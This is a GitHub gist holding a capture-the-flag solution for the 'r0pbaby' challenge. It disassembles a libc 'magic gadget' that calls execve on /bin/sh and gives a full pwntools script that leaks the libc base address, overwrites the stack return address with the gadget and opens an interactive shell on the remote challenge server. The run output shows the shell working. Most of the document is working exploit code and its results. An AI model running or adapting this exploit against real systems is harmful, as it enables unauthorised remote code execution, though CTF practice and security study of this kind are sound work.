Skip to content

Instantly share code, notes, and snippets.

@zachriggle
Last active Mar 30, 2016
Embed
What would you like to do?
r0pbaby will give you:

1) dlopen handle for libc
2) address of a libc function (your choice)
3) overwrite stack
4) exit

Just overwrite the return address with the magic gadget.

.text:000000000004652C 48 8B 05 75 79 37 00           mov     rax, cs:environ_ptr_0
.text:0000000000046533 48 8D 3D A1 67 13 00           lea     rdi, aBinSh     ; "/bin/sh"
.text:000000000004653A 48 8D 74 24 30                 lea     rsi, [rsp+30h]
.text:000000000004653F C7 05 77 A1 37 00 00 00 00 00  mov     cs:dword_3C06C0, 0
.text:0000000000046549 C7 05 7D A1 37 00 00 00 00 00  mov     cs:dword_3C06D0, 0
.text:0000000000046553 48 8B 10                       mov     rdx, [rax]
.text:0000000000046556 E8 D5 AD 07 00                 call    execve

from pwn import *
context.arch='amd64'
# p = process('./r0pbaby_542ee6516410709a1421141501f03760')
p = remote('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me', 10436)
# Game box used libc from Ubuntu 14.04 latest, so this just works
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Find libc base from a known function address.
# Choice of 'system' is irrelevant.
p.sendline('2')
p.sendline('system')
p.recvuntil('Symbol system: ')
# Calculate libc from function address
system = int(p.recvline(), 0)
libc.address = system - libc.symbols['system']
log.info('libc: %#x' % libc.address)
"""
.text:000000000004652C 48 8B 05 75 79 37 00 mov rax, cs:environ_ptr_0
.text:0000000000046533 48 8D 3D A1 67 13 00 lea rdi, aBinSh ; "/bin/sh"
.text:000000000004653A 48 8D 74 24 30 lea rsi, [rsp+30h]
.text:000000000004653F C7 05 77 A1 37 00 00 00 00 00 mov cs:dword_3C06C0, 0
.text:0000000000046549 C7 05 7D A1 37 00 00 00 00 00 mov cs:dword_3C06D0, 0
.text:0000000000046553 48 8B 10 mov rdx, [rax]
.text:0000000000046556 E8 D5 AD 07 00 call execve
"""
magic = libc.address + 0x4652C
# Send ROP buffer
p.sendline('3')
p.sendline('1024')
buf = pack(0) + pack(magic)
buf = buf.ljust(1024, '\x00')
p.send(buf)
# Quit, trigger ROP
p.sendline('4')
p.clean()
# Have a shell
p.interactive()
$ echo id | python baby.py
[+] Opening connection to r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me on port 10436: Done
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] libc: 0x7f5ba0a7d000
[*] Switching to interactive mode
$ id
$
uid=1001(r0pbaby) gid=1001(r0pbaby) groups=1001(r0pbaby)
[*] Closed connection to r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me port 10436
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment